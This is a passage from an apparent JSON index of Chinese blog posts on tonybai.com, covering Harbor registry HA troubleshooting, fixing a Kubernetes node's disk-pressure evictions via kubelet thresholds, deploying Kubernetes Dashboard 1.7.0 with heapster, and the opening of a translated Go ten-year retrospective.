通过错误日志分析应该是docker daemon与镜像仓库所用协议不一致导致。docker engine默认采用https协议访问仓库，但之前我们搭建的Harbor采用的是http协议提供服务，两者不一致。\n解决方法有两种，这里列出第一种：让docker引擎通过http方式访问harbor仓库：\n在/etc/docker/daemon.json中添加insecure-registry： { \u0026quot;insecure-registries\u0026quot;: [\u0026quot;hub.tonybai.com:8070\u0026quot;] } 重启docker service生效 第二种方法就是让Harbor支持https，需要为harbor的proxy配置私钥和证书，位置：harbor.cfg中\n#The path of cert and key files for nginx, they are applied only the protocol is set to https ssl_cert = /data/cert/server.crt ssl_cert_key = /data/cert/server.key 这里就不细说了。\n问题2：docker login hub.tonybai.com:8070 有时成功，有时failed 现象日志:\n第一次登录成功： # docker login -u user -p passwd http://hub.tonybai.com:8070 Login Succeeded 第二次登录失败： # docker login -u user -p passwd http://hub.tonybai.com:8070 Error response from daemon: login attempt to http://hub.tonybai.com:8070/v2/ failed with status: 401 Unauthorized 这个问题的原因在于对docker registry v2协议登录过程理解不够透彻。docker registry v2是一个两阶段登录的过程：\n首先：docker client会到registry去尝试登录，registry发现request中没有携带token，则返回失败应答401，并告诉客户端到哪里去获取token； 客户端收到应答后，获取应答中携带的token service地址，然后到harbor的core services中的token service那里获取token（使用user, password进行校验）。一旦token service校验ok，则会使用private_key.pem生成一个token； 客户端拿到token后，再次到registry那里去登录，这次registry用root.crt去校验客户端携带的token，校验通过，则login成功。 由于我们是一个harbor cluster，如果docker client访问的token service和registry是在一个harbor实例中的，那么login就会ok；否则docker client就会用harbor node1上token service生成的token到harbor node2上的registry去登录，由于harbor node2上root.crt与harbor node1上private_key.pem并非一对，因此登录失败。\n解决方法：将所有节点上使用同一套root.crt和private_key.pem。即将一个harbor node（harbor.cfg中custom_crt=true的那个）上的 common/config/ui/private_key.pem和 common/config/registry/root.crt复制到其他harbor node;然后重建各harbor实例中的容器。\n至此，我们的高可用Harbor仓库部署完了。针对上面的配置过程，我还做了几个录屏文件，由于时间关系，这里不能播放了，大家可以在下面这个连接下载并自行播放收看。\nHarbor install 录屏: https://pan.baidu.com/s/1o8JYKEe 谢谢大家！\n讲稿slide可以在这里获取到。 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/10/23/the-speech-script-practice-on-deploying-a-ha-harbor-cluster-for-osc-shenyang-2017/","summary":"\u003cp\u003e上周六\u003ca href=\"http://www.oschina.net/\"\u003e开源中国\u003c/a\u003e的\u003ca href=\"https://www.oschina.net/event/ych\"\u003e源创会\u003c/a\u003e在沈阳举办了一次技术活动，很荣幸以本地讲师的身份和大家交流了一个topic: “基于\u003ca href=\"https://github.com/vmware/harbor\"\u003eHarbor\u003c/a\u003e的高可用企业级私有容器镜像仓库部署实践”。之所以选择这个topic，是因为这是我们团队的项目实践心得。很多企业和组织在深入使用Docker之后，都会有类似的高可用私有容器仓库搭建的需求，于是我就把我们摸索的实践和填坑过程拿出来，用30分钟与大家分享一下。另外这算是一个入门级的分享，并未深入过多原理。以下就是本次分享的内容讲稿整理。如有不妥或不正确的地方，欢迎交流指正。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/osc-shenyang-2017-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e大家下午好，欢迎各位来到源创会沈阳站。在这里我也代表沈阳的IT人欢迎源创会来到沈阳，希望能有更多的像源创会这样的组织到沈阳举办技术活动。非常高兴能有这个机会在源创会这个平台上做分享， 今天和大家一起探讨的题目是：“\u003ca href=\"https://github.com/bigwhite/talks/tree/master/osc/2017\"\u003e基于Harbor的高可用企业级私有容器镜像仓库部署实践\u003c/a\u003e”。题目有些长，简单来说就是如何搭建一个好用的镜像仓库。\u003c/p\u003e","title":"源创会2017沈阳站讲稿：基于Harbor的高可用企业级私有容器镜像仓库部署实践"},{"content":"今天上午一到工位，就收到来自同事的“投诉”：私有云上的Kubernetes cluster中的一个node似乎不工作了，因为专门部署于那个节点上的应用挂掉了，并且长时间没有恢复。这个公司私有云上Kubernetes集群是v1.7.5版本，部署于双节假期之前。最近感觉K8s开发明显提速，连续发布版本，截至发稿时，最新发布的版本为v1.8.1了。这个集群一直运行相对稳定，今天这个异常到底是怎么一回事呢？于是打开terminal，开始了问题的调查。\n一、问题现象 我们这个小集群一共有三个Kubernetes Node。首先，我查看集群中的所有Pods状态，发现node1和node2上的Pods均正常(running状态)，但位于node3上的三个Pods均为“Pending”状态，这三个pod是weave-net-rh6r4、kube-proxy-v4d1p以及portal-3613605798-txq4l，其中portal-3613605798-txq4l是我们的应用Pod。K8s自身的组件kube-proxy都异常了，显然node3节点出问题了。如果你此刻去尝试查看(kubectl describe) 这几个pod的状态，多半你会失败，因为Pod在频繁重启，1-2s钟新创建的Pod就会被kill掉，导致你无法查看其状态。\n我直接查看一下node3的状态，果不其然，我得到了一些Warning events:\n# kubectl describe ubuntu-k8s-3 ... ... Events: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 51m 51m 1 kubelet, ubuntu-k8s-3 Normal NodeNotSchedulable Node ubuntu-k8s-3 status is now: NodeNotSchedulable 9d 51m 49428 kubelet, ubuntu-k8s-3 Warning EvictionThresholdMet Attempting to reclaim nodefs 5m 5m 1 kubelet, ubuntu-k8s-3 Normal Starting Starting kubelet. 5m 5m 2 kubelet, ubuntu-k8s-3 Normal NodeHasSufficientDisk Node ubuntu-k8s-3 status is now: NodeHasSufficientDisk 5m 5m 2 kubelet, ubuntu-k8s-3 Normal NodeHasSufficientMemory Node ubuntu-k8s-3 status is now: NodeHasSufficientMemory 5m 5m 2 kubelet, ubuntu-k8s-3 Normal NodeHasNoDiskPressure Node ubuntu-k8s-3 status is now: NodeHasNoDiskPressure 5m 5m 1 kubelet, ubuntu-k8s-3 Normal NodeAllocatableEnforced Updated Node Allocatable limit across pods 5m 5m 1 kubelet, ubuntu-k8s-3 Normal NodeHasDiskPressure Node ubuntu-k8s-3 status is now: NodeHasDiskPressure 5m 14s 23 kubelet, ubuntu-k8s-3 Warning EvictionThresholdMet Attempting to reclaim nodefs 两点有价值的内容：\n1、Node ubuntu-k8s-3 status is now: NodeHasDiskPressure\n2、Warning: “EvictionThresholdMet Attempting to reclaim nodefs”\n从以上内容大致可以判断出node3处于磁盘空间不足的状态下，并且该node上的kubelet daemon判断达到了Eviction阀值，试图回收磁盘空间（通过某种杀Pod的方式，I Guess）。\n既然提到了Kubelet，我们再来看看这一后台service的log：\n# journalctl -u kubelet -f 10月 16 09:50:55 ubuntu-k8s-3 kubelet[17144]: W1016 09:50:55.056703 17144 eviction_manager.go:331] eviction manager: attempting to reclaim nodefs 10月 16 09:50:55 ubuntu-k8s-3 kubelet[17144]: I1016 09:50:55.057322 17144 eviction_manager.go:345] eviction manager: must evict pod(s) to reclaim nodefs 10月 16 09:50:55 ubuntu-k8s-3 kubelet[17144]: E1016 09:50:55.058307 17144 eviction_manager.go:356] eviction manager: eviction thresholds have been met, but no pods are active to evict ... ... 10月 16 09:54:14 ubuntu-k8s-3 kubelet[12844]: W1016 09:54:14.823152 12844 eviction_manager.go:142] Failed to admit pod weave-net-3svfg_kube-system(e5a5d474-b214-11e7-a98b-0650cc001a5b) - node has conditions: [DiskPressure] 10月 16 09:54:14 ubuntu-k8s-3 kubelet[12844]: W1016 09:54:14.824246 12844 eviction_manager.go:142] Failed to admit pod kube-proxy-d9lk0_kube-system(e5ff8fde-b214-11e7-a98b-0650cc001a5b) - node has conditions: [DiskPressure] kubelet日志也印证了上面的判断：node3因为磁盘不足不再参与pod调度，但尝试回收磁盘空间时却发现已经没有active pod可以kill了！\n二、原因分析 既然提到了磁盘不足，我们就来看看磁盘占用情况：\n# df -h 文件系统 容量 已用 可用 已用% 挂载点 udev 2.0G 0 2.0G 0% /dev tmpfs 396M 46M 350M 12% /run /dev/sda1 5.8G 5.1G 448M 92% / tmpfs 2.0G 288K 2.0G 1% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/sdb1 99G 5.2G 89G 6% /data tmpfs 396M 0 396M 0% /run/user/0 ... ... 我们看到root分区的磁盘占用率已经达到了92%，仅剩下不到500M空间可以使用了。我们的私有云提供的ubuntu vm模板太过死板（无法定制），每个vm挂载的root分区只能是6G，多一点都不可以。这样在安装完一些必要的软件后，根分区占用率就很高了。为此，之前我们还特意挂载了一块专用盘(/dev/sdb1)用于存储docker的相关image和容器运行数据，并将原先的docker数据迁移到新位置(/data/docker)。\n附：docker运行时数据迁移方法（适用于docker 1.12.x以后版本）：\na) 创建/etc/docker/daemon.json\n文件内容如下：\n{\n“graph”: “/data/docker”,\n“storage-driver”: “aufs”\n}\nb) 停止docker并迁移数据\nsystemctl stop docker\nmv /var/lib/docker /data\nc) 重启docker\nsystemctl daemon-reload\nsystemctl restart docker\n由于某些原因，我们的那个portal pod必须运行于该node上（通过nodeSelector选定node的方式）。在无法扩充根分区size的情况下，为了临时恢复pod运行，我们只能进一步“压榨”node了。于是我们的思路是：通过调整node的eviction threshold值来让node恢复healthy。\n三、解决方案 要解决这一问题，我们需要阅读一下k8s官方的关于”Eviction Policy”的说明。大致意思就是：每个node上的kubelet都负责定期采集资源占用数据，并与预设的 threshold值进行比对，如果超过 threshold值，kubelet就会尝试杀掉一些Pod以回收相关资源，对Node进行保护。kubelet关注的资源指标threshold大约有如下几种：\n- memory.available - nodefs.available - nodefs.inodesFree - imagefs.available - imagefs.inodesFree 每种threshold又分为eviction-soft和eviction-hard两组值。soft和hard的区别在于前者在到达threshold值时会给pod一段时间优雅退出，而后者则崇尚“暴力”，直接杀掉pod，没有任何优雅退出的机会。这里还要提一下nodefs和imagefs的区别：\nnodefs: 指node自身的存储，存储daemon的运行日志等，一般指root分区/； imagefs: 指docker daemon用于存储image和容器可写层(writable layer)的磁盘； 在我们的例子中，我们的imagefs是/dev/sdb1,磁盘占用率很低；而nodefs，即/分区占用率很高（92%)。\n我们重启一次kubelet，查看一下这些threshold的当前值(通过journalctl -u kubelet -f查看)：\n10月 16 09:54:09 ubuntu-k8s-3 systemd[1]: Started kubelet: The Kubernetes Node Agent. 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.381711 12844 feature_gate.go:144] feature gates: map[] 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.437470 12844 client.go:72] Connecting to docker on unix:///var/run/docker.sock 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.438075 12844 client.go:92] Start docker client with request timeout=2m0s 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.471485 12844 manager.go:143] cAdvisor running in container: \u0026quot;/system.slice/kubelet.service\u0026quot; ... ... 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.615818 12844 container_manager_linux.go:246] container manager verified user specified cgroup-root exists: / 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.616263 12844 container_manager_linux.go:251] Creating Container Manager object based on Node Config: {RuntimeCgroupsName: SystemCgroupsName: KubeletCgroupsName: ContainerRuntime:docker CgroupsPerQOS:true CgroupRoot:/ CgroupDriver:cgroupfs ProtectKernelDefaults:false NodeAllocatableConfig:{KubeReservedCgroupName: SystemReservedCgroupName: EnforceNodeAllocatable:map[pods:{}] KubeReserved:map[] SystemReserved:map[] HardEvictionThresholds:[{Signal:memory.available Operator:LessThan Value:{Quantity:100Mi Percentage:0} GracePeriod:0s MinReclaim:\u0026lt;nil\u0026gt;} {Signal:nodefs.available Operator:LessThan Value:{Quantity:\u0026lt;nil\u0026gt; Percentage:0.1} GracePeriod:0s MinReclaim:\u0026lt;nil\u0026gt;} {Signal:nodefs.inodesFree Operator:LessThan Value:{Quantity:\u0026lt;nil\u0026gt; Percentage:0.05} GracePeriod:0s MinReclaim:\u0026lt;nil\u0026gt;}]} ExperimentalQOSReserved:map[]} 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.617680 12844 kubelet.go:263] Adding manifest file: /etc/kubernetes/manifests 10月 16 09:54:09 ubuntu-k8s-3 kubelet[12844]: I1016 09:54:09.618196 12844 kubelet.go:273] Watching apiserver ... ... 把涉及到threshold的信息重新格式化一下：\nHardEvictionThresholds: [ { Signal: memory.availableOperator: LessThanValue: { Quantity: 100MiPercentage: 0 }GracePeriod: 0sMinReclaim: \u0026lt;nil\u0026gt; }{ Signal: nodefs.availableOperator: LessThanValue: { Quantity: \u0026lt;nil\u0026gt;Percentage: 0.1 }GracePeriod: 0sMinReclaim: \u0026lt;nil\u0026gt; }{ Signal: nodefs.inodesFreeOperator: LessThanValue: { Quantity: \u0026lt;nil\u0026gt;Percentage: 0.05 }GracePeriod: 0sMinReclaim: \u0026lt;nil\u0026gt; } ] 我们看到初始情况下，kubelet并没有设置Soft Eviction，只是对memory和nodefs设置了hard eviction threshold值。这里最值得我们关注的是：nodefs.available percentage: 0.1。也就是说当nodefs的可用空间低于10%时，该node上的kubelet将会执行eviction动作。而我们的根分区剩余可用空间为8%，显然满足了这个条件，于是问题就发生了。\n我们要做的就是临时修改这个值，可以将其设为\u0026lt;5%。\n四、解决步骤 我们需要为kubelet重新设定nodefs.available的threshold值。怎么做呢？\nkubelet是运行于每个kubernetes node上的daemon，它在system boot时由systemd拉起:\nroot@ubuntu-k8s-3:~# ps -ef|grep kubelet root 5718 5695 0 16:38 pts/3 00:00:00 grep --color=auto kubelet root 13640 1 4 10:25 ? 00:17:25 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local --authorization-mode=Webhook --client-ca-file=/etc/kubernetes/pki/ca.crt --cadvisor-port=0 查看一下kubelet service的状态：\nroot@ubuntu-k8s-3:~# systemctl status kubelet ● kubelet.service - kubelet: The Kubernetes Node Agent Loaded: loaded (/lib/systemd/system/kubelet.service; enabled; vendor preset: enabled) Drop-In: /etc/systemd/system/kubelet.service.d └─10-kubeadm.conf Active: active (running) since 一 2017-10-16 10:25:09 CST; 6h ago Docs: http://kubernetes.io/docs/ Main PID: 13640 (kubelet) Tasks: 18 Memory: 62.0M CPU: 18min 15.235s CGroup: /system.slice/kubelet.service ├─13640 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true -- └─13705 journalctl -k -f .... ... 通过status的输出，我们看到关于kubelet service有两个systemd service配置文件与之启动相关：\n- /lib/systemd/system/kubelet.service Drop-In: /etc/systemd/system/kubelet.service.d └─10-kubeadm.conf /lib/systemd/system/kubelet.service比较简单：\n[Unit] Description=kubelet: The Kubernetes Node Agent Documentation=http://kubernetes.io/docs/ [Service] ExecStart=/usr/bin/kubelet Restart=always StartLimitInterval=0 RestartSec=10 [Install] WantedBy=multi-user.target /etc/systemd/system/kubelet.service.d/10-kubeadm.conf是systemd中用于override kubelet.service中部分配置的drop-in文件，kubelet的启动配置都在这里：\n[Service] Environment=\u0026quot;KUBELET_KUBECONFIG_ARGS=--kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true\u0026quot; Environment=\u0026quot;KUBELET_SYSTEM_PODS_ARGS=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\u0026quot; Environment=\u0026quot;KUBELET_NETWORK_ARGS=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\u0026quot; Environment=\u0026quot;KUBELET_DNS_ARGS=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\u0026quot; Environment=\u0026quot;KUBELET_AUTHZ_ARGS=--authorization-mode=Webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\u0026quot; Environment=\u0026quot;KUBELET_CADVISOR_ARGS=--cadvisor-port=0\u0026quot; ExecStart= ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS $KUBELET_SYSTEM_PODS_ARGS $KUBELET_NETWORK_ARGS $KUBELET_DNS_ARGS $KUBELET_AUTHZ_ARGS $KUBELET_CADVISOR_ARGS $KUBELET_EXTRA_ARGS systemd启动kubelet时会用10-kubeadm.conf中的ExecStart覆盖/lib/systemd/system/kubelet.service中的ExecStart，这样我们才能看到上面kubelet后面那一长溜命令行启动参数。我们要做的就是在这行启动参数后面添加上我们想设置的nodefs.available的threshold值。\n出于配置风格一致的考量，我们定义一个新的Environment var，比如就叫：KUBELET_EVICTION_POLICY_ARGS：\nEnvironment=\u0026quot;KUBELET_EVICTION_POLICY_ARGS=--eviction-hard=nodefs.available\u0026lt;5%\u0026quot; ExecStart= ExecStart=/usr/bin/kubelet $KUBELET_KUBECONFIG_ARGS $KUBELET_SYSTEM_PODS_ARGS $KUBELET_NETWORK_ARGS $KUBELET_DNS_ARGS $KUBELET_AUTHZ_ARGS $KUBELET_CADVISOR_ARGS $KUBELET_EXTRA_ARGS $KUBELET_EVICTION_POLICY_ARGS 重启kubelet，我们通过日志看threshold的新值是否生效：\n10月 16 16:56:10 ubuntu-k8s-3 kubelet[7394]: I1016 16:56:10.840914 7394 container_manager_linux.go:251] Creating Container Manager object based on Node Config: {RuntimeCgroupsName: SystemCgroupsName: KubeletCgroupsName: ContainerRuntime:docker CgroupsPerQOS:true CgroupRoot:/ CgroupDriver:cgroupfs ProtectKernelDefaults:false NodeAllocatableConfig:{KubeReservedCgroupName: SystemReservedCgroupName: EnforceNodeAllocatable:map[pods:{}] KubeReserved:map[] SystemReserved:map[] HardEvictionThresholds:[{Signal:nodefs.available Operator:LessThan Value:{Quantity:\u0026lt;nil\u0026gt; Percentage:0.05} GracePeriod:0s MinReclaim:\u0026lt;nil\u0026gt;}]} ExperimentalQOSReserved:map[]} 我们看到下面这一行，表明新配置已经生效：\nSignal:nodefs.available Operator:LessThan Value:{Quantity:\u0026lt;nil\u0026gt; Percentage:0.05} 查看pods状态，原先处于pending状态的三个pod均变成了”running”状态，问题得以解决。\n五、参考资料 《Handling Out of Resource Errors》 《Configure Out Of Resource Handling》 《Systemd 入门教程：实战篇》 《System bootup process》 《Systemd for upstart users- ubuntu wiki》 微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/10/16/out-of-node-resource-handling-in-kubernetes-cluster/","summary":"\u003cp\u003e今天上午一到工位，就收到来自同事的“投诉”：私有云上的\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e cluster中的一个node似乎不工作了，因为专门部署于那个节点上的应用挂掉了，并且长时间没有恢复。这个公司私有云上Kubernetes集群是\u003ca href=\"https://github.com/kubernetes/kubernetes/releases/tag/v1.7.5\"\u003ev1.7.5版本\u003c/a\u003e，部署于双节假期之前。最近感觉K8s开发明显提速，连续发布版本，截至发稿时，最新发布的版本为\u003ca href=\"https://github.com/kubernetes/kubernetes/releases/tag/v1.8.1\"\u003ev1.8.1\u003c/a\u003e了。这个集群一直运行相对稳定，今天这个异常到底是怎么一回事呢？于是打开terminal，开始了问题的调查。\u003c/p\u003e","title":"Kubernetes节点资源耗尽状态的处理"},{"content":"由于开发的平台要进行内部公开测试，我们这周在公司内部私有云搭建了一套平台。涉及到Kubernetes相关的基础软件，由我来部署。Kubernetes以及其相关组件都在积极的开发中，版本更新也很快。截至本文撰写时，K8s发布最新稳定版是v1.7.6，而与之配套的Dashboard则是v1.7.0。\n最初在部署规划时，我选择了Kubernetes v1.7.6+ dashboard v1.6.3的组合。之前K8s v1.7.3的稳定让我对使用最新Release版有一些信心，但dashboard v1.7.0则是三天前刚发布的，看dashboard的commit log，之前还大规模revert了一次。因此，我保守的选择了v1.6.3。\n一、但Dashboard v1.6.3与Kubernetes 1.7.6似乎不匹配 在Kubernetes Dashboard的兼容性矩阵中，我们能看到dashboard 1.6.x与k8s 1.7.x的兼容性是一个问号。最新dashboard兼容性矩阵点击这里可以找到：\n也就是说由于K8S API可能的变动，Dashboard 1.6.x的某些功能可能无法使用。之前我在阿里云上的测试环境中使用的是k8s 1.7.3+dashboard 1.6.3的组合，我需要的功能均可以使用。因此这里我首先尝试了dashboard v1.6.3。\n安装过程不赘述。我依旧通过kube-apiserver暴露服务的方式来访问dasbboard，kube-apiserver采用basic auth的身份验证方式。我尝试在浏览器中访问下面路径：\nhttps://{kube-apiserver}:6443/ui 在浏览器弹出的身份验证对话框中输入user/password后，url跳转到：\nhttps://{kube-apiserver}:6443/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy 不过等了许久，浏览器页面依旧一片空白。Dashboard的内容并未鲜露出来。通过chrome浏览器自带的”检查”功能，发现一些静态资源（css、js）的get请求都返回404错误。由于时间有限，没有细致查问题所在。我打算用Dashboard 1.7.0试试。\n二、采用Dashboard v1.7.0 1.7.0版本dashboard主要强化了安全性，增加了登录页面和相关菜单项，并增加了一个kubernetes-dashboard-init-amd64 init容器。我们无需再依赖浏览器弹框了。dashboard调整了源码目录结构，安装1.7.0需要执行下面命令：\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml 安装后，我们继续按原有方式访问dashboard，即访问https://{kube-apiserver}:6443/ui，但我们得到如下错误信息：\nError: 'malformed HTTP response \u0026quot;\\x15\\x03\\x01\\x00\\x02\\x02\u0026quot;' Trying to reach: 'http://10.40.0.5:8443/' 回头再看dashboard的wiki，发现其告知的通过kube-apiserver访问dashboard的url如下：\nhttps://{kube-apiserver}:6443/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy 访问该地址后，我们在浏览器中看到如下登录页面：\ndashboard v1.7.0默认支持两种身份校验登录方式：kubeconfig和token两种。我们说说token这种方式。点击选择:Token单选框，提示你输入token。token从哪里获取，我们从来没有生成过token？其实当前K8s中已经有了很多token：\nroot@ubuntu-k8s-1:~# kubectl get secret -n kube-system NAME TYPE DATA AGE attachdetach-controller-token-8pps2 kubernetes.io/service-account-token 3 4d bootstrap-signer-token-jfj4q kubernetes.io/service-account-token 3 4d ... .... service-controller-token-9zqbz kubernetes.io/service-account-token 3 4d statefulset-controller-token-m7shd kubernetes.io/service-account-token 3 4d token-cleaner-token-sfvm8 kubernetes.io/service-account-token 3 4d ttl-controller-token-dxjz9 kubernetes.io/service-account-token 3 4d weave-net-token-zfgbp kubernetes.io/service-account-token 3 4d 想看那个secret对应的token，就执行kubectl describe secret/{token_name} -n kube-system。比如，我们查看一下service-controller-token-9zqbz 对应的token是多少：\nroot@ubuntu-k8s-1:~# kubectl describe secret/service-controller-token-9zqbz -n kube-system Name: service-controller-token-9zqbz Namespace: kube-system Labels: \u0026lt;none\u0026gt; Annotations: kubernetes.io/service-account.name=service-controller kubernetes.io/service-account.uid=907b4a3b-9f59-11e7-a3ea-0650cc001a5b Type: kubernetes.io/service-account-token Data ==== ca.crt: 1025 bytes namespace: 11 bytes token: eyJhbG...QH9rfu7QI81QJg 现在你可以把上面token key对应那一长串copy到dashboard的token输入框中，点击：signin。即可登录。不过由于token对应的Service account的权限不同，即使进入dashboard，也干不了啥，甚至是啥也不能干。\n三、让Dashboard v1.7.0支持basic auth login方式 我们要用basic auth方式登录dashboard，需要对kubernetes-dashboard.yaml进行如下修改：\nargs: - --tls-key-file=/certs/dashboard.key - --tls-cert-file=/certs/dashboard.crt - --authentication-mode=basic \u0026lt;---- 添加这一行 然后apply一下该yaml文件，等dashboard pod重新创建ok后，我们就可以user、password方式登录dashboard了：\n四、集成heapster heapster当前最新版本v1.4.2，我们采用influxdb作为后端，因此使用的是下面的一些yaml文件：\nroot@ubuntu-k8s-1:~/k8s176-install/dashboard/heapster-1.4.2/deploy/kube-config/influxdb# ls grafana.yaml heapster.yaml influxdb.yaml 不过在创建这些pod之前，我们先要创建一些权限绑定：\nroot@ubuntu-k8s-1:~/k8s176-install/dashboard/heapster-1.4.2/deploy/kube-config/rbac# kubectl create -f heapster-rbac.yaml clusterrolebinding \u0026quot;heapster\u0026quot; created heapster使用的grafana是v4.2.0版本，该版本有一个bug，一旦运行后，会出现类似如下的错误：\n# kubectl logs -f monitoring-grafana-762361155-p9vwj -n kube-system Starting a utility program that will configure Grafana Starting Grafana in foreground mode t=2017-08-09T06:10:57+0000 lvl=crit msg=\u0026quot;Failed to parse /etc/grafana/grafana.ini, open /etc/grafana/grafana.ini: no such file or directory%!(EXTRA []interface {}=[])\u0026quot; 我们需要将grafana升级到v4.4.1版本。修改上面的heapster-1.4.2/deploy/kube-config/influxdb/grafana.yaml:\nspec: containers: - name: grafana image: gcr.io/google_containers/heapster-grafana-amd64:v4.4.1 创建heapster:\nroot@ubuntu-k8s-1:~/k8s176-install/dashboard/heapster-1.4.2/deploy/kube-config# kubectl create -f influxdb/ deployment \u0026quot;monitoring-grafana\u0026quot; created service \u0026quot;monitoring-grafana\u0026quot; created serviceaccount \u0026quot;heapster\u0026quot; created deployment \u0026quot;heapster\u0026quot; created service \u0026quot;heapster\u0026quot; created deployment \u0026quot;monitoring-influxdb\u0026quot; created service \u0026quot;monitoring-influxdb\u0026quot; created dashboard在页面上增加了一些新的展示组件，就像下面这样的：\n更多内容可以通过我在慕课网开设的实战课程《Kubernetes实战 高可用集群搭建、配置、运维与应用》学习。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2017/09/26/some-notes-about-deploying-kubernetes-dashboard-1-7-0/","summary":"\u003cp\u003e由于开发的平台要进行内部公开测试，我们这周在公司内部私有云搭建了一套平台。涉及到\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e相关的基础软件，由我来部署。Kubernetes以及其相关组件都在积极的开发中，版本更新也很快。截至本文撰写时，K8s发布最新稳定版是\u003ca href=\"https://github.com/kubernetes/kubernetes/releases/tag/v1.7.6\"\u003ev1.7.6\u003c/a\u003e，而与之配套的\u003ca href=\"https://github.com/kubernetes/dashboard\"\u003eDashboard\u003c/a\u003e则是\u003ca href=\"https://github.com/kubernetes/dashboard/releases/tag/v1.7.0\"\u003ev1.7.0\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最初在部署规划时，我选择了Kubernetes v1.7.6+ \u003ca href=\"https://github.com/kubernetes/dashboard/releases/tag/v1.6.3\"\u003edashboard v1.6.3\u003c/a\u003e的组合。之前K8s v1.7.3的稳定让我对使用最新Release版有一些信心，但dashboard v1.7.0则是三天前刚发布的，看\u003ca href=\"http://tonybai.com/tag/dashboard/\"\u003edashboard\u003c/a\u003e的commit log，之前还大规模revert了一次。因此，我保守的选择了v1.6.3。\u003c/p\u003e","title":"Kubernetes Dashboard 1.7.0部署二三事"},{"content":"Go语言之父，Google大神Rob Pike代表Go语言的另外两位缔造者Robert Griesemer和Ken Thompson在自己的博客上发表了一篇名为《Go: Ten years and climbing》的文章，用以纪念Go语言从最初的设计idea起到目前的十年发展。笔者读完后，也是深有感触，因此在这里粗略翻译一下全文，希望能有更多的程序员加入到Gopher行列中来。\n译文全文如下：\nDrawing Copyright ©2017 Renee French\n本周是创建Go语言十周年的纪念日。\n记得第一次关于这门语言设计的讨论是在2007年9月20日，一个周四的下午。进而在第二天的下午两点，我、Robert Griesemer以及Ken Thompson在谷歌山景城总部43#楼的一间名为Yaounde的会议室里又组织进行了一场有关这门语言设计的会议。这门语言的名字诞生于9月25日，在第一封有关语言设计的mail中可以看到一些关于命名的设计考量：\nSubject: Re: prog lang discussion From: Rob 'Commander' Pike Date: Tue, Sep 25, 2007 at 3:12 PM To: Robert Griesemer, Ken Thompson i had a couple of thoughts on the drive home. 1. name 'go'. you can invent reasons for this name but it has nice properties. it's short, easy to type. tools: goc, gol, goa. if there's an interactive debugger/interpreter it could just be called 'go'. the suffix is .go ... (将语言命名为Go这事儿值得一提；“golang”来自于这门语言的web站点地址（因为go.com当时已经是迪斯尼的一个web站点了），但却不是语言的恰当名字。)\nGo项目将2009年11月10日，即Go项目正式开源的那天作为其官方生日。最初Go项目托管在code.google.com上，几年后迁移至GitHub。不过，现在我们要回到最初的语言概念构建阶段，即那之前的两年，这可以让我们做更进一步地回顾，以更久远的视角，见证一些语言早期的历史事件。\nGo开发过程中的第一个惊喜是收到下面这封mail信息：\nSubject: A gcc frontend for Go From: Ian Lance Taylor Date: Sat, Jun 7, 2008 at 7:06 PM To: Robert Griesemer, Rob Pike, Ken Thompson One of my office-mates pointed me at http://.../go_lang.html . It seems like an interesting language, and I threw together a gcc frontend for it. It's missing a lot of features, of course, but it does compile the prime sieve code on the web page. Ian Lance Taylor的加入以及第二个编译器实现(gccgo)在带来震惊的同时，也伴随着喜悦。这对Go项目来说不仅仅是鼓励，更是一种对可行性的证明。有了语言的第二个实现对确定语言规范和标准库的过程是至关重要的，同时也有助于Go保证其高可移植性的承诺。\n虽然Ian的办公室离我们不远，但在看到这封mail之前我们从未谋面。不过，从那之后，Ian Lance Taylor便成为了Go语言及工具设计和实现的核心人物。\nRuss Cox也是在2008年加入到刚成立不久的Go语言开发团队的。随着他的加入，他的一些天赋也随即在语言设计和实现中展现出来。Russ发现Go method的通用性意味着一个函数也可以拥有自己的方法，这直接导致了http.HandlerFunc的出现，这是一个我们所有人都未曾想到的结果。Russ还在当时设计的基础上提出了一些更泛化的想法，比如io.Reader和io.Writer接口，奠定了所有I/O库的整体结构。\nJini 